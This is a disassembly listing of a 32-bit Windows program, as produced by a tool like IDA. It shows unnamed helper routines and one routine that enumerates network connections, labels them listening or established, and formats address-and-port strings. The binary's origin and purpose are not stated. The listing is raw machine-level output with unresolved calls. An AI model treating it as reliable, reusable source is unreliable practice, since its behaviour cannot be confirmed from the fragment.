sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BE0	proc near		; CODE XREF: sub_401703j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40223E
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418BE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_401438j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jz	short loc_418C6A


loc_418C28:				; CODE XREF: sub_418C10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40184D
		test	al, al
		jnz	short loc_418C28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_402103j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D6B
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_40155Aj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jz	short loc_418D1A


loc_418CD8:				; CODE XREF: sub_418CC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40216C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401703
		test	al, al
		jnz	short loc_418CD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418D1A:				; CODE XREF: sub_418CC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C67
sub_418D50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D65
		mov	edi, esi


loc_418D65:				; CODE XREF: ___:00418D61j
		push	esi
		call	sub_4015DC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D7A
		mov	edi, esi


loc_418D7A:				; CODE XREF: ___:00418D76j
		push	esi
		call	sub_401B31
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418DA0	proc near		; CODE XREF: sub_40207Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013FC
sub_418DA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_4015DCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E00	proc near		; CODE XREF: sub_401532j
		mov	eax, ecx
		retn
sub_418E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E20	proc near		; CODE XREF: sub_401D98j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020FE
		mov	eax, esi
		pop	esi
		retn	4
sub_418E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E50	proc near		; CODE XREF: sub_40223Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C9E
		mov	esi, eax
		push	esi
		call	sub_401A96
		push	esi
		mov	ebx, eax
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C6C
		push	esi
		mov	ebx, eax
		call	sub_401A96
		mov	eax, [eax]
		push	eax
		call	sub_401C6C
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40176C
		push	esi
		mov	ecx, edi
		call	sub_402103
sub_418E80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F40	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_418F40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F28
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F90	proc near		; CODE XREF: sub_40216Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401EEC
		mov	esi, eax
		push	esi
		call	sub_4015DC
		push	esi
		mov	ebx, eax
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B31
		push	esi
		mov	ebx, eax
		call	sub_4015DC
		mov	eax, [eax]
		push	eax
		call	sub_401B31
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018D4
		push	esi
		mov	ecx, edi
		call	sub_40207C
sub_418F90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401B31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419070	proc near		; CODE XREF: sub_401C67j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_419070	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190A0	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4190A0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_4020FEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4190C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190E0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4190E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419110	proc near		; CODE XREF: sub_40176Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419130	proc near		; CODE XREF: sub_4018D4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419130	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419150	proc near		; CODE XREF: sub_401EECj
		mov	eax, [ecx]
		retn
sub_419150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4191B0	proc near		; CODE XREF: sub_402121j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4191B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43F074
		call	sub_437AEA
sub_4191B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41921D
		mov	ecx, eax
		call	sub_401F2D
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41921D:				; CODE XREF: ___:004191FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419270	proc near		; CODE XREF: sub_401F2Dj
		push	0FFFFFFFFh
		push	offset SEH_419270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_437AEA
sub_419270	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4192BE
		mov	ecx, eax
		call	sub_4015C3
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4192BE:				; CODE XREF: ___:004192A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419300	proc near		; CODE XREF: sub_4015C3j
		mov	eax, ecx
		retn
sub_419300	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419320	proc near		; CODE XREF: sub_401974j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419320
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_419320	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4193C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017EE
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419766
		push	ebp
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401870
		xor	ebp, ebp
		push	offset dword_444D70
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013ED
		test	eax, eax
		jz	short loc_41946F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419489
; ---------------------------------------------------------------------------


loc_41946F:				; CODE XREF: sub_4193C0+A3j
		push	offset dword_444D6C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_419489
		mov	[esp+2B4h+var_2A0], 1


loc_419489:				; CODE XREF: sub_4193C0+ADj
					; sub_4193C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_444D60
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419518
		mov	esi, dword_511AA8
		add	eax, 2
		push	offset dword_444D60
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_419518
		mov	ecx, [ebx+32h]
		push	offset off_444D5C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_41974C


loc_419518:				; CODE XREF: sub_4193C0+123j
					; sub_4193C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_437F50
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419742
		lea	ebp, [esi+14h]


loc_419554:				; CODE XREF: sub_4193C0+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419568
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41972C


loc_419568:				; CODE XREF: sub_4193C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_511C5C
		push	eax
		call	esi
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40147E
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40147E
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4195CC
		sub	eax, 3
		jnz	short loc_4195F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4195D5
; ---------------------------------------------------------------------------


loc_4195CC:				; CODE XREF: sub_4193C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4195D5:				; CODE XREF: sub_4193C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4195F2:				; CODE XREF: sub_4193C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419618
		xor	ebx, ebx


loc_419618:				; CODE XREF: sub_4193C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_40142E
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4196AE
		cmp	eax, 1
		jz	loc_419713
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4196A1
		cmp	eax, esi
		jnz	short loc_419713


loc_4196A1:				; CODE XREF: sub_4193C0+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4196D4
; ---------------------------------------------------------------------------


loc_4196AE:				; CODE XREF: sub_4193C0+2C7j
		cmp	eax, 2
		jz	short loc_419713
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4196C2
		cmp	eax, edi
		jnz	short loc_419713


loc_4196C2:				; CODE XREF: sub_4193C0+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4196D4:				; CODE XREF: sub_4193C0+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_419713:				; CODE XREF: sub_4193C0+2CCj
					; sub_4193C0+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41972C:				; CODE XREF: sub_4193C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419554


loc_419742:				; CODE XREF: sub_4193C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41974C:				; CODE XREF: sub_4193C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419768
; ---------------------------------------------------------------------------


loc_419766:				; CODE XREF: sub_4193C0+3Dj
		mov	al, 1


loc_419768:				; CODE XREF: sub_4193C0+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4193C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419890	proc near		; CODE XREF: sub_40147Ej

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419950
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41991E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41991E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419950
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41991E:				; CODE XREF: sub_419890+5Aj
					; sub_419890+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419950
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419950:				; CODE XREF: sub_419890+52j
					; sub_419890+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4199A0	proc near		; CODE XREF: sub_401F0Aj
		nop
		call	near ptr 27E0CD4h
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4199A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4199C0	proc near		; CODE XREF: sub_4021C6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43F0B0
		call	sub_437BDA
sub_4199C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		nop
		call	near ptr 77C371D3h
